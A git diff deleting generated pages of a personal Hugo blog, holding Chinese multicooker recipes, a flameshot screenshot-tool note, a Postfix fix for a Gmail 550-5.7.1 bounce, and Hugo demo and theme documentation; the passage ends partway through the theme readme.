    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e8-9c-82-e8-9c-9c-e9-9b-9e-e8-9b-8b-e5-b0-8f-e9-a4-85-e4-b9-be/index.html b/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e8-9c-82-e8-9c-9c-e9-9b-9e-e8-9b-8b-e5-b0-8f-e9-a4-85-e4-b9-be/index.html deleted file mode 100644 index b209bfda..00000000 --- a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e8-9c-82-e8-9c-9c-e9-9b-9e-e8-9b-8b-e5-b0-8f-e9-a4-85-e4-b9-be/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [食譜] 飛利浦智慧萬用鍋 - 蜂蜜雞蛋小餅乾 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋 - 蜂蜜雞蛋小餅乾

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - -

    材料: -“常溫”全蛋1個 -低粉30g,日本太白粉10g(過篩) -蜂蜜8g(喜歡甜的可再增加) -作法: -蜂蜜和全蛋一起用打蛋器打發(濕性發泡)。 -慢慢加入過篩的粉,邊加邊拌,攪拌至無粉粒狀, -將麵糊倒入塑膠袋(或擠花袋)內,袋子弄成錐形,剪小洞可擠出麵糊即可。 -萬用鍋內舖上烘焙紙,隨意將麵糊擠在烘焙紙上,選擇”糕點”模式,鍋蓋選擇”無水烹調”“,約倒數40-35分時,開蓋翻面,再烤2-3分鐘就完成了。

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-9b-9e-e8-9b-8b-e7-b3-95/index.html b/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-9b-9e-e8-9b-8b-e7-b3-95/index.html deleted file mode 100644 index dd567acb..00000000 --- a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-9b-9e-e8-9b-8b-e7-b3-95/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - [食譜] 飛利浦智慧萬用鍋 - 雞蛋糕 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋 - 雞蛋糕

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - -

    智慧萬用鍋-雞蛋糕

    - -

    材料:超市買的雞蛋糕粉、雞蛋、全脂牛奶 -比例:雞蛋糕粉 100 : 雞蛋 1 顆:牛奶 100g -

    - -

    把材料混合,攪拌攪拌,我也不知道要攪拌到啥程度,就隨性吧 XD -倒入內鍋,蓋上上蓋,上蓋開關選擇無水烹調,控制面板按到無水烹調-糕點,等待 45分鐘,就有好吃的雞蛋糕了!剛出爐的蛋糕真的超想淋一點蜂蜜上去的,看起來超有FEEL~

    - -

    不加水、不加糖(但是有甜),真是好滋味~~不過不能吃太多就是了…

    - -

     

    - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-a6-99-e8-95-89-e8-9b-8b-e7-b3-95/index.html b/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-a6-99-e8-95-89-e8-9b-8b-e7-b3-95/index.html deleted file mode 100644 index c7e8904e..00000000 --- a/themes/public/article/e9-a3-9f-e8-ad-9c-e9-a3-9b-e5-88-a9-e6-b5-a6-e6-99-ba-e6-85-a7-e8-90-ac-e7-94-a8-e9-8d-8b-e9-a6-99-e8-95-89-e8-9b-8b-e7-b3-95/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - [食譜] 飛利浦智慧萬用鍋 - 香蕉蛋糕 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋 - 香蕉蛋糕

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    材料: -1. 熟香蕉4根(越熟越香)

    - -

    2. 鬆餅粉300g

    - -

    3. 雞蛋3顆

    - -

    4. 牛奶50cc

    - -

    5. 黃砂糖40g(不要加太多,香蕉本身已經很甜)

    - -

    6. 有鹽奶油25g(刻意將油量減少,比較清爽健康)

    - -

    做法:

    - -

    1.鬆餅粉+雞蛋+牛奶+砂糖+奶油→攪拌均勻 -2.帶手套將香蕉輕鬆捏成泥狀後加入做法1的材料糊中 -3.將萬用鍋內鍋舖上烘培紙,並將蛋糕糊倒在烘培紙上 -4.蓋上鍋蓋用無水烹調模式,按糕點,等時間到就可以享用香噴噴的香蕉蛋糕囉~

    - -

    此做法特意增加香蕉比例,讓濕潤度提升,口感介於發糕與蛋糕之間,吃起來是濕潤的不會乾乾的唷~

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/flameshot-screen-capture-tool/index.html b/themes/public/article/flameshot-screen-capture-tool/index.html deleted file mode 100644 index 64c3fe25..00000000 --- a/themes/public/article/flameshot-screen-capture-tool/index.html +++ /dev/null @@ -1,454 +0,0 @@ - - - - - - - - - - 筆記- ubuntu 18.04 上好用的screen capture 軟體 flameshot | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記- ubuntu 18.04 上好用的screen capture 軟體 flameshot

    -
    - - - 0001-01-01 - - - - - - - - -
    - - - - -

    flameshot

    - -

    flameshot 官方網站

    - -

    之前在 windows 底下,有個非常好用的螢幕擷取軟體叫做 shareX -結合了螢幕擷取、錄影、擷取後編輯(上浮水印/馬賽克)、上傳免費空間、生成短網址的功能 -可以說是最棒的螢幕擷取軟體,對,沒錯,就是最棒的,其他沒一個能打的! -opensource、portable、還可以整合一堆workflow,真的是史上最強了! -把特!人生就是這個把特啊!

    - -

    自從換到Linux平台工作後,sharex就不能使用了(泣 -本來一直在癡癡的等待看有沒有高手可以幫忙移植到linux平台來 -可惜的是一直沒等到… -工作上又開始會用到這種軟體了,本來屈就於 kazam (錄影) / 內建的screenshot 工具 -但是用起來真的就是很不順手!

    - -

    直到找到了這個軟體 - flameshot -可以作到我想要的功能

    - -

    按下快速鍵–>選擇要擷取的畫面–>編輯擷取的圖片–>上傳到免費空間 -雖然還沒辦法作到加入浮水印、生成短網址 -不過已經是很好用的軟體了

    - -

    這個是官網上的介紹圖片 -[](https://raw.githubusercontent.com/lupoDharkael/flameshot/master/img/preview/animatedUsage.gif)

    - -

    編輯功能還有點陽春,可以用的功能不多(但也已經是夠用的狀態) -作者也有在看github上的討論,有問題可以盡量提

    - -

    不過還是希望shareX能夠移植到linux平台來 -整合度還是比較高的,尤其是螢幕錄影、自動加入浮水印、生成短網址的功能 -真的是非常好用! -另外 flameshot 在ubuntu 14.04/16.04上安裝會比較困難 -直到 ubuntu 18.04 ,加入官方的repository ,可以用 apt 直接安裝了 -安裝就一行指令

    - -
    sudo apt isntall flameshot
    -
    - -

    然後可以到ubuntu 的系統設定值,去設定快捷鍵,執行指令用

    - -
    flameshot gui
    -
    - -

    我是設定在 ctrl+1,所以要截圖的時候,我就按下ctrl+1 ,就會叫出flameshot的gui -操作畫面

    - -

    目前來說,暫時沒有其他更好的解決方案了 -不過還是希望shareX能夠移植到Linux上啊!(到底是有多愛shareX!)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/go-is-for-lovers/index.html b/themes/public/article/go-is-for-lovers/index.html deleted file mode 100644 index e1198483..00000000 --- a/themes/public/article/go-is-for-lovers/index.html +++ /dev/null @@ -1,744 +0,0 @@ - - - - - - - - - - Go is for lovers | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Go is for lovers

    -
    - - - 2015-09-17 - - - - - - - - - programming - - - - - - test2 - -
    - - - - -

    Hugo uses the excellent go html/template library for -its template engine. It is an extremely lightweight engine that provides a very -small amount of logic. In our experience that it is just the right amount of -logic to be able to create a good static website. If you have used other -template systems from different languages or frameworks you will find a lot of -similarities in go templates.

    - -

    This document is a brief primer on using go templates. The go docs -provide more details.

    - -

    Introduction to Go Templates

    - -

    Go templates provide an extremely simple template language. It adheres to the -belief that only the most basic of logic belongs in the template or view layer. -One consequence of this simplicity is that go templates parse very quickly.

    - -

    A unique characteristic of go templates is they are content aware. Variables and -content will be sanitized depending on the context of where they are used. More -details can be found in the go docs.

    - -

    Basic Syntax

    - -

    Go lang templates are html files with the addition of variables and -functions.

    - -

    Go variables and functions are accessible within {{ }}

    - -

    Accessing a predefined variable “foo”:

    - -
    {{ foo }}
    -
    - -

    Parameters are separated using spaces

    - -

    Calling the add function with input of 1, 2:

    - -
    {{ add 1 2 }}
    -
    - -

    Methods and fields are accessed via dot notation

    - -

    Accessing the Page Parameter “bar”

    - -
    {{ .Params.bar }}
    -
    - -

    Parentheses can be used to group items together

    - -
    {{ if or (isset .Params "alt") (isset .Params "caption") }} Caption {{ end }}
    -
    - -

    Variables

    - -

    Each go template has a struct (object) made available to it. In hugo each -template is passed either a page or a node struct depending on which type of -page you are rendering. More details are available on the -variables page.

    - -

    A variable is accessed by referencing the variable name.

    - -
    <title>{{ .Title }}</title>
    -
    - -

    Variables can also be defined and referenced.

    - -
    {{ $address := "123 Main St."}}
    -{{ $address }}
    -
    - -

    Functions

    - -

    Go template ship with a few functions which provide basic functionality. The go -template system also provides a mechanism for applications to extend the -available functions with their own. Hugo template -functions provide some additional functionality we believe -are useful for building websites. Functions are called by using their name -followed by the required parameters separated by spaces. Template -functions cannot be added without recompiling hugo.

    - -

    Example:

    - -
    {{ add 1 2 }}
    -
    - -

    Includes

    - -

    When including another template you will pass to it the data it will be -able to access. To pass along the current context please remember to -include a trailing dot. The templates location will always be starting at -the /layout/ directory within Hugo.

    - -

    Example:

    - -
    {{ template "chrome/header.html" . }}
    -
    - -

    Logic

    - -

    Go templates provide the most basic iteration and conditional logic.

    - -

    Iteration

    - -

    Just like in go, the go templates make heavy use of range to iterate over -a map, array or slice. The following are different examples of how to use -range.

    - -

    Example 1: Using Context

    - -
    {{ range array }}
    -    {{ . }}
    -{{ end }}
    -
    - -

    Example 2: Declaring value variable name

    - -
    {{range $element := array}}
    -    {{ $element }}
    -{{ end }}
    -
    - -

    Example 2: Declaring key and value variable name

    - -
    {{range $index, $element := array}}
    -    {{ $index }}
    -    {{ $element }}
    -{{ end }}
    -
    - -

    Conditionals

    - -

    If, else, with, or, & and provide the framework for handling conditional -logic in Go Templates. Like range, each statement is closed with end.

    - -

    Go Templates treat the following values as false:

    - -
      -
    • false
    • -
    • 0
    • -
    • any array, slice, map, or string of length zero
    • -
    - -

    Example 1: If

    - -
    {{ if isset .Params "title" }}<h4>{{ index .Params "title" }}</h4>{{ end }}
    -
    - -

    Example 2: If -> Else

    - -
    {{ if isset .Params "alt" }}
    -    {{ index .Params "alt" }}
    -{{else}}
    -    {{ index .Params "caption" }}
    -{{ end }}
    -
    - -

    Example 3: And & Or

    - -
    {{ if and (or (isset .Params "title") (isset .Params "caption")) (isset .Params "attr")}}
    -
    - -

    Example 4: With

    - -

    An alternative way of writing “if” and then referencing the same value -is to use “with” instead. With rebinds the context . within its scope, -and skips the block if the variable is absent.

    - -

    The first example above could be simplified as:

    - -
    {{ with .Params.title }}<h4>{{ . }}</h4>{{ end }}
    -
    - -

    Example 5: If -> Else If

    - -
    {{ if isset .Params "alt" }}
    -    {{ index .Params "alt" }}
    -{{ else if isset .Params "caption" }}
    -    {{ index .Params "caption" }}
    -{{ end }}
    -
    - -

    Pipes

    - -

    One of the most powerful components of go templates is the ability to -stack actions one after another. This is done by using pipes. Borrowed -from unix pipes, the concept is simple, each pipeline’s output becomes the -input of the following pipe.

    - -

    Because of the very simple syntax of go templates, the pipe is essential -to being able to chain together function calls. One limitation of the -pipes is that they only can work with a single value and that value -becomes the last parameter of the next pipeline.

    - -

    A few simple examples should help convey how to use the pipe.

    - -

    Example 1 :

    - -
    {{ if eq 1 1 }} Same {{ end }}
    -
    - -

    is the same as

    - -
    {{ eq 1 1 | if }} Same {{ end }}
    -
    - -

    It does look odd to place the if at the end, but it does provide a good -illustration of how to use the pipes.

    - -

    Example 2 :

    - -
    {{ index .Params "disqus_url" | html }}
    -
    - -

    Access the page parameter called “disqus_url” and escape the HTML.

    - -

    Example 3 :

    - -
    {{ if or (or (isset .Params "title") (isset .Params "caption")) (isset .Params "attr")}}
    -Stuff Here
    -{{ end }}
    -
    - -

    Could be rewritten as

    - -
    {{  isset .Params "caption" | or isset .Params "title" | or isset .Params "attr" | if }}
    -Stuff Here
    -{{ end }}
    -
    - -

    Context (aka. the dot)

    - -

    The most easily overlooked concept to understand about go templates is that {{ . }} -always refers to the current context. In the top level of your template this -will be the data set made available to it. Inside of a iteration it will have -the value of the current item. When inside of a loop the context has changed. . -will no longer refer to the data available to the entire page. If you need to -access this from within the loop you will likely want to set it to a variable -instead of depending on the context.

    - -

    Example:

    - -
      {{ $title := .Site.Title }}
    -  {{ range .Params.tags }}
    -    <li> <a href="{{ $baseurl }}/tags/{{ . | urlize | lower  }}">{{ . }}</a> - {{ $title }} </li>
    -  {{ end }}
    -
    - -

    Notice how once we have entered the loop the value of {{ . }} has changed. We -have defined a variable outside of the loop so we have access to it from within -the loop.

    - -

    Hugo Parameters

    - -

    Hugo provides the option of passing values to the template language -through the site configuration (for sitewide values), or through the meta -data of each specific piece of content. You can define any values of any -type (supported by your front matter/config format) and use them however -you want to inside of your templates.

    - -

    Using Content (page) Parameters

    - -

    In each piece of content you can provide variables to be used by the -templates. This happens in the front matter.

    - -

    An example of this is used in this documentation site. Most of the pages -benefit from having the table of contents provided. Sometimes the TOC just -doesn’t make a lot of sense. We’ve defined a variable in our front matter -of some pages to turn off the TOC from being displayed.

    - -

    Here is the example front matter:

    - -
    ---
    -title: "Permalinks"
    -date: "2013-11-18"
    -aliases:
    -  - "/doc/permalinks/"
    -groups: ["extras"]
    -groups_weight: 30
    -notoc: true
    ----
    -
    - -

    Here is the corresponding code inside of the template:

    - -
      {{ if not .Params.notoc }}
    -    <div id="toc" class="well col-md-4 col-sm-6">
    -    {{ .TableOfContents }}
    -    </div>
    -  {{ end }}
    -
    - -

    Using Site (config) Parameters

    - -

    In your top-level configuration file (eg, config.yaml) you can define site -parameters, which are values which will be available to you in chrome.

    - -

    For instance, you might declare:

    - -
    params:
    -  CopyrightHTML: "Copyright &#xA9; 2013 John Doe. All Rights Reserved."
    -  TwitterUser: "spf13"
    -  SidebarRecentLimit: 5
    -
    - -

    Within a footer layout, you might then declare a <footer> which is only -provided if the CopyrightHTML parameter is provided, and if it is given, -you would declare it to be HTML-safe, so that the HTML entity is not escaped -again. This would let you easily update just your top-level config file each -January 1st, instead of hunting through your templates.

    - -
    {{if .Site.Params.CopyrightHTML}}<footer>
    -<div class="text-center">{{.Site.Params.CopyrightHTML | safeHtml}}</div>
    -</footer>{{end}}
    -
    - -

    An alternative way of writing the “if” and then referencing the same value -is to use “with” instead. With rebinds the context . within its scope, -and skips the block if the variable is absent:

    - -
    {{with .Site.Params.TwitterUser}}<span class="twitter">
    -<a href="https://twitter.com/{{.}}" rel="author">
    -<img src="/images/twitter.png" width="48" height="48" title="Twitter: {{.}}"
    - alt="Twitter"></a>
    -</span>{{end}}
    -
    - -

    Finally, if you want to pull “magic constants” out of your layouts, you can do -so, such as in this example:

    - -
    <nav class="recent">
    -  <h1>Recent Posts</h1>
    -  <ul>{{range first .Site.Params.SidebarRecentLimit .Site.Recent}}
    -    <li><a href="{{.RelPermalink}}">{{.Title}}</a></li>
    -  {{end}}</ul>
    -</nav>
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/golden-kimichi/index.html b/themes/public/article/golden-kimichi/index.html deleted file mode 100644 index ba035129..00000000 --- a/themes/public/article/golden-kimichi/index.html +++ /dev/null @@ -1,431 +0,0 @@ - - - - - - - - - - 黃金泡菜作法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    黃金泡菜作法

    -
    - - - 2017-07-22 - - - - - - - - -
    - - - - -

    醬料

    - -
      -
    • 檸檬汁 120g (或蘋果醋)
    • -
    • 糖 100g
    • -
    • 薑 四五片
    • -
    • 蒜 8-10
    • -
    • 豆腐乳(甜) 三塊
    • -
    • 辣椒 一根
    • -
    • 香油(橄欖油) 80g
    • -
    - -

    食材

    - -
      -
    • 大白菜一顆
    • -
    • 紅蘿蔔一根
    • -
    - -

    作法

    - -
      -
    1. 紅蘿蔔切片炒過放涼
    2. -
    3. 白菜對剖,切成塊狀
    4. -
    5. 洗乾淨、瀝乾水分,把大白菜放進塑膠袋
    6. -
    7. 加一大匙鹽到塑膠袋裡,搖晃後靜置
    8. -
    9. 把醬料打勻
    10. -
    11. 大白菜脫水(用手擠)
    12. -
    13. 醬汁淋到白菜上即完成
    14. -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/google-550-5-7-1-sloution/index.html b/themes/public/article/google-550-5-7-1-sloution/index.html deleted file mode 100644 index d71990ed..00000000 --- a/themes/public/article/google-550-5-7-1-sloution/index.html +++ /dev/null @@ -1,472 +0,0 @@ - - - - - - - - - - 寄信給google被退信 錯誤 550-5.7.1的解法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    寄信給google被退信 錯誤 550-5.7.1的解法

    -
    - - - 2018-07-17 - - - - - - - - -
    - - - - -
    參考
    - -

    https://blog.longwin.com.tw/2007/07/google_apps_localhost_mail_problem_2007/

    - -
    狀況
    - -

    不知道什麼上週什麼時候開始,寄給google G Suite帳號的信件都會被退信。 -退信訊息如下

    - -
    <ya@km.com>: host aspmx.l.google.com[108.177.125.26] said:
    -    550-5.7.1 [123.123.123.123] The IP you're using to send mail is not
    -    authorized to 550-5.7.1 send email directly to our servers. Please use the
    -    SMTP relay at your 550-5.7.1 service provider instead. Learn more at 550
    -    5.7.1  https://support.google.com/mail/?p=NotAuthorizedError
    -    a12-v6si21249839pgv.296 - gsmtp (in reply to end of DATA command)
    -
    - -

    單單看退信的內容,就是google把我伺服器的IP列為不受歡迎的黑名單,不能直接寄信給google -可是說也奇怪,本來是可以的啊? -而且,一開始只有寄給G suite帳號的信件會被退,寄給 gmail.com不會(但是會被列入垃圾信件) -所以覺得很納悶,猜想大概是因為google對商業用戶比較保護,所以用了比較嚴格的信件過濾條件?

    - -

    anyway,總之針對這個問題,google的回覆很簡單 -https://i.imgur.com/ZQfWQu3.png

    - -

    反正我是google我最大,不要想跟我反應什麼,我才不會鳥你..

    - -

    就這樣,經過了好幾天的亂槍打鳥,試著加入了SPF、也用了google 的postmaster tools -但就是沒辦法順利解決… :<

    - -
    - -

    剛剛不死心又翻了一次google,意外的讓我發現連結的那篇文章(不過用google 550-5.7.1 搜尋不到那篇) -雖然原因不太一樣,我並沒有把域名轉去google -但是想說死馬當活馬醫,就改了 /etc/postfix/main.cf的 $mydestination -把localhost移到最前面,重啟postfix service,哇靠!居然就可以了!

    - -

    不過呢,我還是不知道是什麼道理就是了 -因為一開始發生的原因就不太一樣了,而且就我的認知 -$mydestination 是用來設定postfix要收信的網域,當收到這些域名的郵件時,會收下郵件 -而如果不在這個設定內的域名的郵件,就會被丟棄 -看起來就跟寄信一點關係都沒有啊! -但是的確是修改了這裡,把localhost移到最前面就可以了 -真的是不知道為啥啊!

    - -

    不過至少在這過程中,我順便請ISP設定的正確的反解,以及設定了SPF Record -現在看起來應該是沒有什麼其他問題了(希望啦..)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/hello-world/index.html b/themes/public/article/hello-world/index.html deleted file mode 100644 index 0a6fa5ae..00000000 --- a/themes/public/article/hello-world/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - Hello world! 哈囉! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Hello world! 哈囉!

    -
    - - - 2013-03-11 - - - - - - - - - 未分類 - - - - - -
    - - -

    歡迎來到 WordPress。這是你的第一篇文章。編輯或者刪除本篇文章,然後開始你的部落客生活!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/house-in-kuraizawa/index.html b/themes/public/article/house-in-kuraizawa/index.html deleted file mode 100644 index 7bf1713b..00000000 --- a/themes/public/article/house-in-kuraizawa/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - 雜念-輕井澤的老房子 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    雜念-輕井澤的老房子

    -
    - - - 2017-07-27 - - - - - - - - -
    - - -

    原始網址: -小蟹子的流浪

    - -

    - -

    如果哪天中了威力彩頭獎獨得,應該會找個山上弄這麼一間來避暑吧。

    - -

    不過好像去長期包飯店房間(兩三個月)比較划算…

    - -

    醒醒吧!你不會中頭獎!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/hugo-is-for-lovers/index.html b/themes/public/article/hugo-is-for-lovers/index.html deleted file mode 100644 index 613e0ed7..00000000 --- a/themes/public/article/hugo-is-for-lovers/index.html +++ /dev/null @@ -1,485 +0,0 @@ - - - - - - - - - - Hugo is for lovers | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Hugo is for lovers

    -
    - - - 2015-08-03 - - - - - - - - - pseudo - - - - - - test1 - -
    - - - - -

    Step 1. Install Hugo

    - -

    Goto hugo releases and download the -appropriate version for your os and architecture.

    - -

    Save it somewhere specific as we will be using it in the next step.

    - -

    More complete instructions are available at installing hugo

    - -

    Step 2. Build the Docs

    - -

    Hugo has its own example site which happens to also be the documentation site -you are reading right now.

    - -

    Follow the following steps:

    - -
      -
    1. Clone the hugo repository
    2. -
    3. Go into the repo
    4. -
    5. Run hugo in server mode and build the docs
    6. -
    7. Open your browser to http://localhost:1313
    8. -
    - -

    Corresponding pseudo commands:

    - -
    git clone https://github.com/spf13/hugo
    -cd hugo
    -/path/to/where/you/installed/hugo server --source=./docs
    -> 29 pages created
    -> 0 tags index created
    -> in 27 ms
    -> Web Server is available at http://localhost:1313
    -> Press ctrl+c to stop
    -
    - -

    Once you’ve gotten here, follow along the rest of this page on your local build.

    - -

    Step 3. Change the docs site

    - -

    Stop the Hugo process by hitting ctrl+c.

    - -

    Now we are going to run hugo again, but this time with hugo in watch mode.

    - -
    /path/to/hugo/from/step/1/hugo server --source=./docs --watch
    -> 29 pages created
    -> 0 tags index created
    -> in 27 ms
    -> Web Server is available at http://localhost:1313
    -> Watching for changes in /Users/spf13/Code/hugo/docs/content
    -> Press ctrl+c to stop
    -
    - -

    Open your favorite editor and change one of the source -content pages. How about changing this very file to fix the typo. How about changing this very file to fix the typo.

    - -

    Content files are found in docs/content/. Unless otherwise specified, files -are located at the same relative location as the url, in our case -docs/content/overview/quickstart.md.

    - -

    Change and save this file.. Notice what happened in your terminal.

    - -
    > Change detected, rebuilding site
    -
    -> 29 pages created
    -> 0 tags index created
    -> in 26 ms
    -
    - -

    Refresh the browser and observe that the typo is now fixed.

    - -

    Notice how quick that was. Try to refresh the site before it’s finished building.. I double dare you. -Having nearly instant feedback enables you to have your creativity flow without waiting for long builds.

    - -

    Step 4. Have fun

    - -

    The best way to learn something is to play with it.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/hugo-theme-bliberry/index.html b/themes/public/article/hugo-theme-bliberry/index.html deleted file mode 100644 index ef7e1ad2..00000000 --- a/themes/public/article/hugo-theme-bliberry/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/hugo-travelify-theme-features/index.html b/themes/public/article/hugo-travelify-theme-features/index.html deleted file mode 100644 index 9c1fe35a..00000000 --- a/themes/public/article/hugo-travelify-theme-features/index.html +++ /dev/null @@ -1,614 +0,0 @@ - - - - - - - - - - Hugo Travelify Theme Features | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Hugo Travelify Theme Features

    -
    - - - 2016-06-28 - - - - - - - - - lorem - - - - - -
    - - -

    Hugo-Travelify-Theme is the Hugo version of the Wordpress theme - Travelify . The source code was adapted from digitalcraftsman’s Icarus theme with a few changes for additional features (Even this README is a fork from his original theme README :)).

    - -

    - -

    Some of the important features of Hugo-Travelify-Theme are:

    - -
      -
    • Automatic slider generation with banner images
    • -
    • Subscribe via Email through Mailchimp integration (You have to sign up and generate the HTML code)
    • -
    • Multiple author support (Included in the taxonomy)
    • -
    • i10n data
    • -
    • Disqus integration
    • -
    • Social media share
    • -
    • Google Analytics
    • -
    - -

    - -

    - -

    - -

    Get the theme

    - -

    If you have git installed, you can do the following at the command-line-interface at the Hugo directory/folder:

    - -
    $ cd themes
    -$ git clone https://github.com/balaramadurai/hugo-travelify-theme.git
    -
    - -

    You should see a folder called hugo-travelify-theme inside the themes directory that we created a few moments ago. For more information read the official setup guide of Hugo.

    - -

    Setup

    - -

